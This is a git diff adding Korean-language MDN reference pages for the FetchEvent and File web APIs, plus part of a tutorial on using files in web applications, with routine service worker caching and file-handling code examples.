+ + diff --git a/files/ko/web/api/fetchevent/index.html b/files/ko/web/api/fetchevent/index.html new file mode 100644 index 0000000000..9b0e1cce34 --- /dev/null +++ b/files/ko/web/api/fetchevent/index.html @@ -0,0 +1,110 @@ +--- +title: FetchEvent +slug: Web/API/FetchEvent +tags: + - API + - FetchEvent + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - TopicStub + - Workers +translation_of: Web/API/FetchEvent +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

This is the event type for fetch events dispatched on the {{domxref("ServiceWorkerGlobalScope", "service worker global scope", "", 1)}}. It contains information about the fetch, including the request and how the receiver will treat the response. It provides the {{domxref("FetchEvent.respondWith", "event.respondWith()")}} method, which allows us to provide a response to this fetch.

+ +

Constructor

+ +
+
{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}
+
Creates a new FetchEvent object. This constructor is not typically used. The browser creates these objects itself and provides them to fetch event callbacks.
+
+ +

Properties

+ +

Inherits properties from its ancestor, {{domxref("Event")}}.

+ +
+
{{domxref("fetchEvent.clientId")}} {{readonlyInline}}
+
The {{domxref("Client.id", "id")}} of the same-origin {{domxref("Client", "client")}} that initiated the fetch.
+
{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}
+
A {{jsxref("Promise")}} for a {{domxref("Response")}}, or void if this is not a navigation, or {{domxref("NavigationPreloadManager", "navigation preload", "", 1)}} is not enabled.
+
{{domxref("fetchEvent.request")}} {{readonlyInline}}
+
The {{domxref("Request")}} the browser intends to make.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("ExtendableEvent")}}.

+ +
+
{{domxref("fetchEvent.respondWith()")}}
+
Prevent the browser's default fetch handling, and provide (a promise for) a response yourself.
+
{{domxref("extendableEvent.waitUntil()")}}
+
+

Extends the lifetime of the event. Used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching.

+
+
+ +

Examples

+ +

This fetch event uses the browser default for non-GET requests. For GET requests it tries to return a match in the cache, and falls back to the network. If it finds a match in the cache, it asynchronously updates the cache for next time.

+ +
addEventListener('fetch', event => {
+  // Let the browser do its default thing
+  // for non-GET requests.
+  if (event.request.method != 'GET') return;
+
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // If we found a match in the cache, return it, but also
+      // update the entry in the cache in the background.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.FetchEvent")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/fetchevent/respondwith/index.html b/files/ko/web/api/fetchevent/respondwith/index.html new file mode 100644 index 0000000000..1e348c699c --- /dev/null +++ b/files/ko/web/api/fetchevent/respondwith/index.html @@ -0,0 +1,115 @@ +--- +title: FetchEvent.respondWith() +slug: Web/API/FetchEvent/respondWith +translation_of: Web/API/FetchEvent/respondWith +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("FetchEvent")}}의 respondWith() 메소드는 브라우저의 기본 fetch 핸들링을 막고, 당신 스스로 {{domxref("Response")}}에 대한 promise를 제공할 수 있게 허락합니다.

+ +

대부분의 상황에서 당신은 수신자가 이해하는 어떠한 응답이라도 제공할 수 있습니다. 예를 들어, {{HTMLElement('img')}} 엘리먼트가 해당 요청을 시작했다면, 응답 객체는 이미지 데이터를 필요로 합니다. 보안적인 이유들로, 여기엔 몇가지 전역 규칙이 존재합니다.

+ + + +

Specifying the final URL of a resource

+ +

From Firefox 59 onwards, when a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will be propagated to the intercepted network request as the final resolved URL.  If the {{domxref("Response.url")}} value is the empty string, then the {{domxref("Request.url","FetchEvent.request.url")}} is used as the final URL.

+ +

In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used as the final URL in all cases.  The provided {{domxref("Response.url")}} was effectively ignored.

+ +

This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided {{domxref("Response.url")}} will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).

+ +

For most types of network request this change has no impact because you can't observe the final URL.  There are a few, though, where it does matter:

+ + + +

Note that navigation requests for {{domxref("Window","Windows")}} and {{domxref("HTMLIFrameElement","iframes")}} do NOT use the final URL.  The way the HTML specification handles redirects for navigations ends up using the request URL for the resulting {{domxref("Window.location")}}.  This means sites can still provide an "alternate" view of a web page when offline without changing the user-visible URL.

+ +

Syntax

+ +
fetchEvent.respondWith(
+  // Promise that resolves to a Response.
+​)
+ +

Parameters

+ +

A {{jsxref("Promise")}} for a {{domxref("Response")}}.

+ +

Return value

+ +

Void.

+ +

Exceptions

+ + + + + + + + + + + + + + +
ExceptionNotes
NetworkErrorA network error is triggered on certain combinations of {{domxref("Request.mode","FetchEvent.request.mode")}} and {{domxref("Response.type")}}  values, as hinted at in the "global rules" listed above.
+ +

Examples

+ +

This fetch event tries to return a response from the cache API, falling back to the network otherwise.

+ +
addEventListener('fetch', event => {
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cachedResponse = await caches.match(event.request);
+    // Return it if we found one.
+    if (cachedResponse) return cachedResponse;
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#fetch-event-respondwith-method', 'respondWith()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.FetchEvent.respondWith")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/file/file/index.html b/files/ko/web/api/file/file/index.html new file mode 100644 index 0000000000..4445ced75f --- /dev/null +++ b/files/ko/web/api/file/file/index.html @@ -0,0 +1,72 @@ +--- +title: File.File() +slug: Web/API/File/File +tags: + - API + - Constructor + - File + - Reference + - 파일 +translation_of: Web/API/File/File +--- +
{{APIRef("File")}}
+ +

File() 생성자는 {{domxref("File")}} 객체의 새로운 인스턴스를 생성합니다.

+ +

구문

+ +
new File(bits, name[, options]);
+ +

매개변수

+ +
+
bits
+
{{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, 또는 {{domxref("DOMString")}} 객체로 이루어진 {{jsxref("Array")}}. UTF-8로 인코딩한 파일 내용입니다.
+
name
+
파일명이나 파일의 경로를 나타내는 {{domxref("USVString")}}.
+
options {{optional_inline}}
+
파일의 추가 속성을 담은 옵션 객체. 가능한 옵션은 다음과 같습니다. +
    +
  • type: 파일 내용의 MIME 유형을 나타내는 {{domxref("DOMString")}}. 기본값은 빈 문자열입니다.
  • +
  • lastModified: 유닉스 시간(1970-01-01T00:00:00Z)과 파일이 마지막으로 변경된 시각의 밀리초 차이. 기본값은 {{jsxref("Date.now()")}}의 값입니다.
  • +
+
+
+ +

예제

+ +
var file = new File(["foo"], "foo.txt", {
+  type: "text/plain",
+});
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API')}}{{Spec2('File API')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.File.File")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/file/index.html b/files/ko/web/api/file/index.html new file mode 100644 index 0000000000..b94140e633 --- /dev/null +++ b/files/ko/web/api/file/index.html @@ -0,0 +1,99 @@ +--- +title: File +slug: Web/API/File +tags: + - API + - File API + - Interface + - Reference + - Web + - 파일 +translation_of: Web/API/File +--- +
{{APIRef}}
+ +

File 인터페이스는 파일에 대한 정보를 제공하고, 웹 페이지의 JavaScript가 해당 내용에 접근할 수 있는 방법을 제공합니다.

+ +

File 객체는 보통 {{domxref("FileList")}} 객체에서 가져올 수 있습니다. 그리고 FileList 객체는 사용자가 {{HTMLElement("input")}} 요소에서 파일을 선택했을 때, 드래그 앤 드롭 작업의 {{domxref("DataTransfer")}} 객체에서, 그리고 {{domxref("HTMLCanvasElement")}}의 mozGetAsFile() API에서 반환합니다.

+ +

File 객체는 특정 종류의 {{domxref("Blob")}}이며, Blob을 사용할 수 있는 모든 맥락에서 사용할 수 있습니다. 특히 {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, {{domxref("XMLHttpRequest", "", "send()")}}는 BlobFile을 모두 허용합니다.

+ +

자세한 정보 및 예제는 웹 애플리케이션에서 파일 사용하기를 참고하세요.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("File.File", "File()")}}
+
새로 생성한 File을 반환합니다.
+
+ +

속성

+ +
+
{{domxref("File.lastModified")}} {{readonlyinline}}
+
파일의 최종 수정 시간을 UNIX 시간(1970년 1월 1일 자정)과의 밀리초 차이로 반환합니다.
+
{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}}
+
File 객체가 참조하는 파일의 마지막 수정 시간을 {{jsxref("Date")}}로 반환합니다.
+
{{domxref("File.name")}} {{readonlyinline}}
+
File 객체가 참조하는 파일의 이름을 반환합니다.
+
{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}
+
{{domxref("File")}}의 URL 상대경로를 반환합니다.
+
+ +

File이 {{domxref("Blob")}} 을 구현하기 때문에 사용할 수 있는 속성도 있습니다.

+ +
+
{{domxref("File.size")}} {{readonlyinline}}
+
File의 크기를 바이트 단위로 반환합니다.
+
{{domxref("File.type")}} {{readonlyinline}}
+
FileMIME 유형을 반환합니다.
+
+ +

메서드

+ +

File 인터페이스는 메서드를 정의하지 않지만, {{domxref("Blob")}} 인터페이스에서 메서드를 상속합니다.

+ +
+
{{domxref("Blob.slice()")}}
+
소스 Blob에서 지정한 바이트 범위 만큼의 데이터를 포함하는, 새로운 Blob 객체를 반환합니다.
+
{{domxref("Blob.stream()")}}
+
File을 {{domxref("ReadableStream")}}으로 변환합니다. ReadableStream은 파일 내용을 읽을 때 사용할 수 있습니다.
+
{{domxref("Blob.text()")}}
+
File을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Blob.arrayBuffer()")}}
+
File을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', "#file-section", "The File interface")}}{{Spec2('File API')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.File")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/file/name/index.html b/files/ko/web/api/file/name/index.html new file mode 100644 index 0000000000..0aa67a8374 --- /dev/null +++ b/files/ko/web/api/file/name/index.html @@ -0,0 +1,66 @@ +--- +title: File.name +slug: Web/API/File/name +tags: + - API + - File API + - Property + - Reference + - 파일 +translation_of: Web/API/File/name +--- +
{{APIRef("File API")}}
+ +

name 속성은 {{domxref("File")}} 객체가 나타내는 파일의 이름을 반환합니다. 보안상의 이유로 경로는 이름에서 제외됩니다.

+ +

+ +

"My Resume.rtf"와 같이 경로가 없는 파일의 이름을 포함하는 문자열입니다.

+ +

예제

+ +
<input type="file" multiple onchange="processSelectedFiles(this)">
+
+ +
function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i < files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}
+ +

아래에서 결과를 확인해보세요.

+ +

{{ EmbedLiveSample('예제', 300, 50) }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#file-attrs', 'name')}}{{Spec2('File API')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.File.name")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/file/size/index.html b/files/ko/web/api/file/size/index.html new file mode 100644 index 0000000000..eb133e801f --- /dev/null +++ b/files/ko/web/api/file/size/index.html @@ -0,0 +1,30 @@ +--- +title: File.size +slug: Web/API/File/size +translation_of: Web/API/File/size +--- +

{{APIRef("File API") }}

+ +

Summary

+ +

파일의 크기를 바이트 단위로 반환합니다.

+ +

Syntax

+ +
var size = instanceOfFile.size
+ +

Value

+ +

숫자

+ +

Specification

+ +

사양에 포함되지 않았습니다.

+ +

See also

+ + + +

 

diff --git a/files/ko/web/api/file/using_files_from_web_applications/index.html b/files/ko/web/api/file/using_files_from_web_applications/index.html new file mode 100644 index 0000000000..7c4a27357d --- /dev/null +++ b/files/ko/web/api/file/using_files_from_web_applications/index.html @@ -0,0 +1,496 @@ +--- +title: 웹 어플리케이션에서 파일 사용하기 +slug: Web/API/File/Using_files_from_web_applications +translation_of: Web/API/File/Using_files_from_web_applications +--- +

{{APIRef("File API")}}

+ +

HTML5의 DOM으로 추가된 File API를 사용하여, 이제 웹 컨텐츠가 사용자에게 로컬 파일을 선택한 후 파일의 컨텐츠를 읽도록 요청할 수 있습니다. 이 선택은 HTML {{HTMLElement("input")}} 엘리먼트나 드래그 앤 드랍을 사용하는 것으로도 수행할 수 있습니다.

+ +

원하신다면 확장 기능이나 다른 브라우저 크롬 코드에서도 DOM File API를 사용하실 수 있습니다. 하지만, 조심해야할 몇 가지 부가적인 기능들이 있음을 유의하세요. 자세한 내용은 크롬 코드에서 DOM File API 사용하기 글을 확인하세요.

+ +

선택한 파일에 접근하기

+ +

다음 HTML을 생각해봅시다.

+ +
<input type="file" id="input">
+ +

File API는 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}에 접근할 수 있게 해줍니다.

+ +

사용자가 하나의 파일만을 선택한 경우, 리스트의 첫 번째 파일만 고려하면 됩니다.

+ +

기존의 DOM 셀렉터를 사용하여 선택된 하나의 파일에 접근하기:

+ +
const selectedFile = document.getElementById('input').files[0];
+ +

change 이벤트에서 선택한 파일에 접근하기

+ +

change 이벤트를 통해 {{DOMxRef("FileList")}}에 접근할수도 있습니다(필수는 아닙니다).

+ +
<input type="file" id="input" onchange="handleFiles(this.files)">
+ +

사용자가 하나의 파일을 선택할 때, 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}와 함께 handlerFiles() 함수가 호출됩니다.

+ +

사용자가 여러 파일을 선택할 수 있도록 하길 원할 경우, 간단히 input 엘리먼트에서 multiple 속성을 사용하면됩니다.

+ +
<input type="file" id="input" multiple onchange="handleFiles(this.files)">
+ +

이 경우, handleFiles() 함수로 전달된 파일 리스트는 사용자가 선택한 각 파일에 대해 하나의 {{DOMxRef("File")}} 객체를 갖습니다.

+ +

동적으로 change 리스너 추가하기

+ +

change 이벤트 리스너를 추가하려면 {{DOMxRef("EventTarget.addEventListener()")}}를 다음과 같이 사용해야합니다.

+ +
const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* 이제 파일 리스트로 작업할 수 있습니다 */
+}
+ +

이 경우에는, 파라미터를 전달한 이벤트 핸들러에의해 호출된 이전 예제에서와 달리, handleFiles() 함수 자체가 이벤트 핸들러임을 유의하세요.

+ +

선택한 파일에 대한 정보 얻기

+ +

DOM에 의해 제공된 {{DOMxRef("FileList")}} 객체는 사용자에 의해 선택된 모든 파일을 각각 {{DOMxRef("File")}} 객체로 지정하여 나열합니다. 파일 리스트의 length 속성의 값을 확인하여 사용자가 선택한 파일의 수를 결정할 수 있습니다.

+ +
const numFiles = files.length;
+ +

개별 {{DOMxRef("File")}} 객체는 리스트를 간단히 배열처럼 접근하여 얻을 수 있습니다.

+ +
for (let i = 0, numFiles = files.length; i < numFiles; i++) {
+  const file = files[i];
+  ..
+}
+
+ +

위 반복문은 파일 리스트의 모든 파일을 순회합니다.

+ +

파일에 대한 유용한 정보를 포함하는 {{DOMxRef("File")}} 객체는 세 가지 속성을 제공합니다.

+ +
+
name
+
읽기 전용 문자열인 파일의 이름입니다. 단순한 파일 이름이며, 경로에 대한 정보는 포함하지 않습니다.
+
size
+
읽기 전용 64비트 정수의 바이트 단위 파일의 크기입니다.
+
type
+
읽기 전용 문자열인 파일의 MIME 타입입니다. 결정할 수 없는 타입인 경우 ""입니다.
+
+ +

예시: 파일 크기 보기

+ +

다음 예시는 size 프로퍼티를 사용하는 방법을 보여줍니다.

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8">
+<title>File(s) size</title>
+<script>
+function updateSize() {
+  let nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (let nFileId = 0; nFileId < nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  let sOutput = nBytes + " bytes";
+  // multiples approximation을 위한 선택적 코드
+  for (let aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox > 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // 선택적 코드의 끝
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+</script>
+</head>
+
+<body onload="updateSize();">
+<form name="uploadForm">
+<p><input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple> selected files: <span id="fileNum">0</span>; total size: <span id="fileSize">0</span></p>
+<p><input type="submit" value="Send file"></p>
+</form>
+</body>
+</html>
+
+ +

click() 메소드를 사용하여 숨겨진 파일 input 엘리먼트 사용하기

+ +

Gecko 2.0 {{geckoRelease("2.0")}}의 시작과 함께, 확실히 세련되지 않은 파일 {{HTMLElement("input")}} 엘리먼트를 숨기고 파일 선택기를 열고 사용자에 의해 선택된 파일 또는 파일들을 보여주는 여러분만의 인터페이스를 제공할 수 있습니다. input 엘리먼트를 display:none 으로 스타일링하고 {{HTMLElement("input")}} 엘리먼트에 {{DOMxRef("element.click","click()")}} 메소드를 호출하는 것으로 이를 수행할 수 있습니다.

+ +

다음 HTML을 생각해봅시다.

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<button id="fileSelect">Select some files</button>
+ +

click 이벤트를 다루는 코드는 다음과 같을 것입니다.

+ +
const fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+}, false);
+
+ +

여러분이 원하는 파일 선택기를 열기위한 새로운 버튼을 스타일링할 수 있습니다.

+ +

label 엘리먼트를 사용하여 숨겨진 파일 input 엘리먼트 실행하기

+ +

JavaScript(click() 메소드)를 사용하지 않고 파일 선택기를 열도록 허용하기 위해 {{HTMLElement("label")}} 엘리먼트가 사용될 수 있습니다. 이 경우에는 input 엘리먼트가 반드시 display: none(또는 visibility: hidden)을 사용하여 숨긴상태가 아니어야하며, 그렇지 않을 경우 라벨은 키보드로 접근이 불가하다는 것을 유의하세요. 대신 외관상으로 숨기기 테크닉을 사용하세요.

+ +

다음 HTML과

+ +
<input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden">
+<label for="fileElem">Select some files</label>
+ +

CSS를 생각해봅시다.

+ +
.visually-hidden {
+  position: absolute !important;
+  height: 1px;
+  width: 1px;
+  overflow: hidden;
+  clip: rect(1px, 1px, 1px, 1px);
+}
+
+input.visually-hidden:focus + label {
+  outline: thin dotted;
+}
+
+ +

fileElem.click()을 호출하기위해 JavaScript 코드를 추가할 필요가 없습니다. 또한 이 경우에는 여러분이 원하는대로 label 엘리먼트를 스타일링 할 수 있습니다. 여러분은 숨겨진 input 필드의 포커싱 상태를 시각적인 신호(위에서 보여진 outline이나, background-color 또는 box-shadow)로 label에 제공해야합니다. (이 글의 작성 시점에서, Firefox는 <input type="file"> 엘리먼트에 대한 시각적 신호를 보여주지 않습니다.)

+ +

드래그 앤 드랍을 사용하여 파일 선택하기

+ +

사용자가 파일을 웹 어플리케이션으로 드래그 앤 드랍하도록 할 수도 있습니다.

+ +

첫 단계는 드랍 영역을 설정하는 것입니다. 드랍을 허용할 컨텐츠의 정확한 영역은 어플리케이션의 디자인에따라 아주 달라질 수 있지만, 드랍 이벤트를 받는 엘리먼트를 만드는 것은 간단합니다.

+ +
let dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+
+ +

이 예시에서는, dropbox라는 ID를 갖는 엘리먼트를 드랍 영역으로 변경합니다. {{event('dragenter')}}, {{event('dragover')}}, {{event('drop')}} 이벤트를위한 리스너를 추가하는 것으로 이를 수행할 수 있습니다.

+ +

우리의 경우에는, dragenterdragover 이벤트로 무언가를 진짜 할 필요는 없으므로, 두 함수는 모두 단순합니다. 두 함수는 단지 이벤트의 전파를 중단하고 기본 동작이 발생하는 것을 방지합니다.

+ +
function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+ +

진짜 마법은 drop() 함수에서 발생합니다.

+ +
function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  const dt = e.dataTransfer;
+  const files = dt.files;
+
+  handleFiles(files);
+}
+
+ +

여기에서, 우리는 이벤트로부터 dataTransfer 필드를 추출하고, 그로부터 파일 리스트를 가져온 후, handleFiles()로 전달합니다. 이 지점부터, 파일을 다루는 것은 사용자가 input 엘리먼트를 사용했든 드래그 앤 드랍을 사용했든 동일합니다.

+ +

예시: 사용자가 선택한 이미지의 섬네일 보여주기

+ +

여러분이 차세대 사진 공유 웹사이트를 개발중이며 HTML5를 사용하여 사진이 실제로 업로드되기 전에 이미지의 섬네일 미리보기를 표시하길 원한다고 가정해봅시다. 여러분은 앞서 설명한대로 input 엘리먼트나 드랍 영역을 설정하고 아래와 같은 handleFiles() 함수를 호출하면됩니다.

+ +
function handleFiles(files) {
+  for (let i = 0; i < files.length; i++) {
+    const file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    const img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // "preview"가 결과를 보여줄 div 출력이라 가정.
+
+    const reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+
+ +

H여기에서 사용자가 선택한 파일을 다루는 반복문은 각 파일의 type 속성을 보고 MIME 타입이 "image/" 문자열로 시작하는지를 확인합니다. 이미지인 각 파일에 대해서는, 새로운 img 엘리먼트를 생성합니다. CSS를 사용하여 보기 좋은 테두리나 그림자를 설정할 수 있고 이미지의 크기를 지정할 수 있으므로, 스타일링에 대해서는 여기에서 다룰 필요는 없습니다.

+ +

각 이미지는 각각에 추가된 CSS 클래스 obj를 가져, DOM 트리에서의 탐색을 더 쉽게만듭니다. 각 이미지에 이미지에 대한 {{DOMxRef("File")}}을 지정하는 file 속성도 추가합니다(이는 나중에 실제로 업로드를 위한 이미지를 fetch 할 수 있게해줍니다). {{DOMxRef("Node.appendChild()")}}를 사용하여 다큐먼트의 미리보기 영역에 새로운 섬네일을 추가합니다.

+ +

다음으로, {{DOMxRef("FileReader")}}를 설정하여 이미지 로딩과 이를 img 엘리먼트에 추가하는 것을 비동기적으로 처리합니다. 새로운 FileReader 객체를 생성한 후에, onload 함수를 설정하고 readAsDataURL()을 호출하여 백그라운드에서 읽기 작업을 시작합니다. 이미지 파일의 전체 컨텐츠가 로드되었을 때, onload 콜백으로 전달되는 data: URL로 변환됩니다. 이 루틴을 구현하면 img 엘리먼트의 src 속성을 로드된 이미지로 설정하여 사용자 화면의 섬네일에 이미지가 나타나납니다.

+ +

객체 URL 사용하기

+ +

Gecko 2.0 {{geckoRelease("2.0")}}은 DOM {{DOMxRef("window.URL.createObjectURL()")}} 및 {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드에 대한 지원을 소개했습니다. 이 메소드들은 사용자의 컴퓨터에 있는 로컬 파일을 포함해, DOM {{DOMxRef("File")}} 객체를 사용해 참조된 데이터에 대한 참조로 사용할 수 있는 간단한 URL 문자열을 생성할 수 있게 해줍니다.

+ +

HTML에 URL로 참조하길 원하는 {{DOMxRef("File")}} 객체가 있다면, 다음과 같이 객체 URL을 생성할 수 있습니다.

+ +
const objectURL = window.URL.createObjectURL(fileObj);
+ +

객체 URL은 {{DOMxRef("File")}} 객체를 식별하는 문자열입니다. {{DOMxRef("window.URL.createObjectURL()")}}을 호출할때마다, 여러분이 이미 해당 파일에 대한 객체 URL을 생성했더라도 고유한 객체 URL이 생성됩니다. 각각은 반드시 해제되어야 합니다. 객체 URL은 다큐먼트가 unload될 때 자동으로 해제되지만, 여러분의 페이지가 동적으로 이를 사용할 경우 {{DOMxRef("window.URL.revokeObjectURL()")}}을 호출하여 명시적으로 해제해야합니다.

+ +
window.URL.revokeObjectURL(objectURL);
+ +

예시: 객체 URL을 사용하여 이미지 표시하기

+ +

다음 예시는 객체 URL을 사용하여 이미지 섬네일을 표시합니다. 부가적으로, 파일의 이름과 크기를 포함한 다른 정보도 표시합니다.

+ +

인터페이스를 나타내는 HTML은 다음과 같습니다.

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<a href="#" id="fileSelect">Select some files</a>
+<div id="fileList">
+  <p>No files selected!</p>
+</div>
+
+ +

위 코드는 파일 선택기를 불러오는 링크와 우리의 파일 {{HTMLElement("input")}} 엘리먼트를 설정합니다(파일 input을 숨겨 덜 매력적인 사용자 인터페이스가 표시되는 것을 방지하였으므로). 이는 파일 선택기를 불러오는 메소드와 마찬가지로, {{anch("Using hidden file input elements using the click() method")}} 섹션에서 설명합니다.

+ +

handleFiles() 메소드는 다음과 같습니다.

+ +
window.URL = window.URL || window.webkitURL;
+
+const fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // "#" 해시로 이동을 방지
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "<p>No files selected!</p>";
+  } else {
+    fileList.innerHTML = "";
+    const list = document.createElement("ul");
+    fileList.appendChild(list);
+    for (let i = 0; i < files.length; i++) {
+      const li = document.createElement("li");
+      list.appendChild(li);
+
+      const img = document.createElement("img");
+      img.src = window.URL.createObjectURL(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+      const info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+
+ +

fileList ID로 {{HTMLElement("div")}}의 URL을 페칭하는 것으로 시작합니다. 이는 섬네일을 포함하여 파일 리스트로 삽입하는 블록입니다.

+ +

handleFiles()로 전달된 {{DOMxRef("FileList")}} 객체가 null인 경우, 블록의 inner HTML을 간단하게 "No files selected!"를 표시하도록 설정합니다. null이 아닌 경우, 다음과 같이 파일 리스트를 구축합니다.

+ +
    +
  1. 새로운 순서가 없는 리스트({{HTMLElement("ul")}}) 엘리먼트가 생성됩니다.
  2. +
  3. 새로운 리스트 엘리먼트가 {{DOMxRef("Node.appendChild()")}} 메소드 호출에 의해 {{HTMLElement("div")}} 블록으로 삽입됩니다.
  4. +
  5. files에 의해 나타나는 {{DOMxRef("FileList")}} 내의 각 {{DOMxRef("File")}}에 대해 : +
      +
    1. 새로운 리스트 항목({{HTMLElement("li")}}) 엘리먼트를 생성하고 리스트로 삽입합니다.
    2. +
    3. 새로운 이미지({{HTMLElement("img")}}) 엘리먼트를 생성합니다.
    4. +
    5. {{DOMxRef("window.URL.createObjectURL()")}}을 사용하여 이미지의 소스를 파일을 나타내는 새로운 객체 URL로 설정해 blob URL을 생성합니다.
    6. +
    7. 이미지의 height를 60 픽셀로 설정합니다.
    8. +
    9. 이미지가 로드된 이후에 더 이상 필요하지 않게되므로 객체 URL을 해제하기 위한 이미지의 로드 이벤트 핸들러를 설정합니다. {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드를 호출하고 img.src로 지정한 객체 URL 문자열을 전달하면됩니다.
    10. +
    11. 리스트로 새로운 리스트 항목을 추가합니다.
    12. +
    +
  6. +
+ +

다음은 위 코드의 라이브 데모입니다.

+ +

{{EmbedLiveSample('Example_Using_object_URLs_to_display_images', '100%', '300px')}}

+ +

Example: Uploading a user-selected file

+ +

Another thing you might want to do is let the user upload the selected file or files (such as the images selected using the previous example) to a server. This can be done asynchronously very easily.

+ +

Creating the upload tasks

+ +

Continuing with the code that built the thumbnails in the previous example, recall that every thumbnail image is in the CSS class obj with the corresponding {{DOMxRef("File")}} attached in a file attribute. This allows us to select all of the images the user has chosen for uploading using {{DOMxRef("Document.querySelectorAll()")}}, like this:

+ +
function sendFiles() {
+  const imgs = document.querySelectorAll(".obj");
+
+  for (let i = 0; i < imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
